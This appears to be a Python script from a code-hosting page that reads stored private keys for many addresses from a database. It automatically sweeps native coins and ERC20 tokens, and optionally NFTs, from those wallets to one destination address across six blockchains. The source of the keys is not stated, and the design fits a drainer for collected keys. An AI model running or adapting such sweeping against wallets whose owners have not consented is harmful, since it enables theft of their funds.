-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtransfer_assets.py
396 lines (338 loc) · 13.9 KB
/
transfer_assets.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
import os
import json
import sqlite3
from web3 import Web3
from web3.exceptions import ContractLogicError
from eth_account import Account
from dotenv import load_dotenv
from config import DB_NAME
# Load environment variables
load_dotenv()
# Transfer settings
TRANSFER_TO_ADDRESS = os.getenv('TRANSFER_TO_ADDRESS')
GAS_MULTIPLIER = float(os.getenv('GAS_MULTIPLIER', '1.5'))
BALANCE_THRESHOLD = float(os.getenv('BALANCE_THRESHOLD', '0.1'))
# Chain settings
CHAINS = {
'ethereum': {
'name': 'Ethereum Mainnet',
'rpc': os.getenv('ETH_RPC_URL'),
'chain_id': 1
},
'avalanche': {
'name': 'Avalanche C-Chain',
'rpc': os.getenv('AVAX_RPC_URL'),
'chain_id': 43114
},
'base': {
'name': 'Base Chain',
'rpc': os.getenv('BASE_RPC_URL'),
'chain_id': 8453
},
'bsc': {
'name': 'BNB Smart Chain',
'rpc': os.getenv('BSC_RPC_URL'),
'chain_id': 56
},
'polygon': {
'name': 'Polygon',
'rpc': os.getenv('POLYGON_RPC_URL'),
'chain_id': 137
},
'arbitrum': {
'name': 'Arbitrum One',
'rpc': os.getenv('ARBITRUM_RPC_URL'),
'chain_id': 42161
}
}
# Contract ABIs
ERC20_ABI = [
{
"constant": True,
"inputs": [{"name": "_owner", "type": "address"}],
"name": "balanceOf",
"outputs": [{"name": "balance", "type": "uint256"}],
"type": "function"
},
{
"constant": False,
"inputs": [
{"name": "_to", "type": "address"},
{"name": "_value", "type": "uint256"}
],
"name": "transfer",
"outputs": [{"name": "", "type": "bool"}],
"type": "function"
}
]
ERC721_ABI = [
{
"constant": True,
"inputs": [{"name": "owner", "type": "address"}],
"name": "balanceOf",
"outputs": [{"name": "", "type": "uint256"}],
"type": "function"
},
{
"constant": True,
"inputs": [{"name": "owner", "type": "address"}],
"name": "tokensOfOwner",
"outputs": [{"name": "", "type": "uint256[]"}],
"type": "function"
},
{
"constant": False,
"inputs": [
{"name": "from", "type": "address"},
{"name": "to", "type": "address"},
{"name": "tokenId", "type": "uint256"}
],
"name": "transferFrom",
"outputs": [],
"type": "function"
}
]
ERC1155_ABI = [
{
"constant": True,
"inputs": [
{"name": "account", "type": "address"},
{"name": "id", "type": "uint256"}
],
"name": "balanceOf",
"outputs": [{"name": "", "type": "uint256"}],
"type": "function"
},
{
"constant": False,
"inputs": [
{"name": "from", "type": "address"},
{"name": "to", "type": "address"},
{"name": "id", "type": "uint256"},
{"name": "amount", "type": "uint256"},
{"name": "data", "type": "bytes"}
],
"name": "safeTransferFrom",
"outputs": [],
"type": "function"
}
]
def get_high_balance_accounts():
"""Get accounts with balance above threshold"""
conn = sqlite3.connect(DB_NAME)
cursor = conn.cursor()
try:
# Get latest check date
cursor.execute('SELECT MAX(check_date) FROM balance_history')
latest_date = cursor.fetchone()[0]
if not latest_date:
return []
# Get accounts with balance above threshold
cursor.execute('''
SELECT
b.address,
b.chain_id,
b.balance,
a.private_key
FROM balance_history b
JOIN active_addresses a ON b.address = a.address
WHERE b.check_date = ? AND b.balance >= ?
''', (latest_date, BALANCE_THRESHOLD))
accounts = cursor.fetchall()
return accounts
finally:
conn.close()
def transfer_native_token(web3, from_address, private_key, chain_id):
"""Transfer native token (ETH, BNB, etc.)"""
try:
# Get balance
balance = web3.eth.get_balance(from_address)
if balance == 0:
return
# Estimate gas
gas_price = web3.eth.gas_price
gas_limit = 21000 # Standard transfer gas limit
# Calculate amount to send (considering gas cost)
total_gas_cost = gas_price * gas_limit
amount_to_send = balance - total_gas_cost
if amount_to_send <= 0:
print(f"Insufficient balance for transfer: {from_address}")
return
# Create transaction
transaction = {
'nonce': web3.eth.get_transaction_count(from_address),
'to': TRANSFER_TO_ADDRESS,
'value': amount_to_send,
'gas': gas_limit,
'gasPrice': int(gas_price * GAS_MULTIPLIER),
'chainId': chain_id
}
# Sign and send transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"Native token transfer: {web3.from_wei(amount_to_send, 'ether')} - TX: {tx_hash.hex()}")
except Exception as e:
print(f"Native token transfer error: {str(e)}")
def transfer_erc20_tokens(web3, from_address, private_key, chain_id):
"""Transfer ERC20 tokens"""
try:
# Filter transfer events to detect tokens
transfer_events = web3.eth.get_logs({
'fromBlock': web3.eth.block_number - 10000,
'toBlock': 'latest',
'topics': [
web3.keccak(text="Transfer(address,address,uint256)").hex()
]
})
# Get unique token contracts
token_contracts = set()
for event in transfer_events:
token_contracts.add(event['address'])
for token_address in token_contracts:
try:
token_contract = web3.eth.contract(address=token_address, abi=ERC20_ABI)
balance = token_contract.functions.balanceOf(from_address).call()
if balance > 0:
# Create transfer transaction
transaction = token_contract.functions.transfer(
TRANSFER_TO_ADDRESS,
balance
).build_transaction({
'from': from_address,
'nonce': web3.eth.get_transaction_count(from_address),
'gas': 100000,
'gasPrice': int(web3.eth.gas_price * GAS_MULTIPLIER),
'chainId': chain_id
})
# Sign and send transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"ERC20 token transfer: {token_address} - TX: {tx_hash.hex()}")
except Exception as e:
print(f"ERC20 token transfer error ({token_address}): {str(e)}")
except Exception as e:
print(f"ERC20 token detection error: {str(e)}")
def transfer_erc721_tokens(web3, from_address, private_key, chain_id):
"""Transfer ERC721 tokens (NFTs)"""
try:
# Filter NFT transfer events
transfer_events = web3.eth.get_logs({
'fromBlock': web3.eth.block_number - 10000,
'toBlock': 'latest',
'topics': [
web3.keccak(text="Transfer(address,address,uint256)").hex()
]
})
# Get unique NFT contracts
nft_contracts = set()
for event in transfer_events:
nft_contracts.add(event['address'])
for nft_address in nft_contracts:
try:
nft_contract = web3.eth.contract(address=nft_address, abi=ERC721_ABI)
balance = nft_contract.functions.balanceOf(from_address).call()
if balance > 0:
try:
# Get token IDs
token_ids = nft_contract.functions.tokensOfOwner(from_address).call()
for token_id in token_ids:
try:
# Create transfer transaction
transaction = nft_contract.functions.transferFrom(
from_address,
TRANSFER_TO_ADDRESS,
token_id
).build_transaction({
'from': from_address,
'nonce': web3.eth.get_transaction_count(from_address),
'gas': 100000,
'gasPrice': int(web3.eth.gas_price * GAS_MULTIPLIER),
'chainId': chain_id
})
# Sign and send transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"ERC721 token transfer: {nft_address} ID:{token_id} - TX: {tx_hash.hex()}")
except Exception as e:
print(f"ERC721 token transfer error ({nft_address} ID:{token_id}): {str(e)}")
except Exception as e:
print(f"ERC721 token ID retrieval error ({nft_address}): {str(e)}")
except Exception as e:
print(f"ERC721 contract error ({nft_address}): {str(e)}")
except Exception as e:
print(f"ERC721 token detection error: {str(e)}")
def transfer_erc1155_tokens(web3, from_address, private_key, chain_id):
"""Transfer ERC1155 tokens"""
try:
# Filter ERC1155 transfer events
transfer_events = web3.eth.get_logs({
'fromBlock': web3.eth.block_number - 10000,
'toBlock': 'latest',
'topics': [
web3.keccak(text="TransferSingle(address,address,address,uint256,uint256)").hex()
]
})
# Get unique token contracts and IDs
token_contracts = set()
token_ids = set()
for event in transfer_events:
token_contracts.add(event['address'])
token_ids.add(int(event['topics'][3].hex(), 16))
for token_address in token_contracts:
try:
token_contract = web3.eth.contract(address=token_address, abi=ERC1155_ABI)
for token_id in token_ids:
try:
balance = token_contract.functions.balanceOf(from_address, token_id).call()
if balance > 0:
# Create transfer transaction
transaction = token_contract.functions.safeTransferFrom(
from_address,
TRANSFER_TO_ADDRESS,
token_id,
balance,
b''
).build_transaction({
'from': from_address,
'nonce': web3.eth.get_transaction_count(from_address),
'gas': 100000,
'gasPrice': int(web3.eth.gas_price * GAS_MULTIPLIER),
'chainId': chain_id
})
# Sign and send transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"ERC1155 token transfer: {token_address} ID:{token_id} Amount:{balance} - TX: {tx_hash.hex()}")
except Exception as e:
print(f"ERC1155 token transfer error ({token_address} ID:{token_id}): {str(e)}")
except Exception as e:
print(f"ERC1155 contract error ({token_address}): {str(e)}")
except Exception as e:
print(f"ERC1155 token detection error: {str(e)}")
def main():
"""Main execution function"""
if not TRANSFER_TO_ADDRESS:
print("Transfer address not set. Please check your .env file.")
return
# Get high balance accounts
accounts = get_high_balance_accounts()
if not accounts:
print("No accounts found for transfer")
return
print(f"Transfer to address: {TRANSFER_TO_ADDRESS}")
print(f"Target accounts: {len(accounts)}\n")
for address, chain_id, balance, private_key in accounts:
chain = CHAINS[chain_id]
print(f"\n=== Transferring assets on {chain['name']} ===")
print(f"From address: {address}")
web3 = Web3(Web3.HTTPProvider(chain['rpc']))
# Transfer ERC20 tokens
transfer_erc20_tokens(web3, address, private_key, chain['chain_id'])
# # Transfer ERC721 tokens (NFTs)
# transfer_erc721_tokens(web3, address, private_key, chain['chain_id'])
# # Transfer ERC1155 tokens
# transfer_erc1155_tokens(web3, address, private_key, chain['chain_id'])
# Transfer native token
transfer_native_token(web3, address, private_key, chain['chain_id'])
if __name__ == "__main__":
main()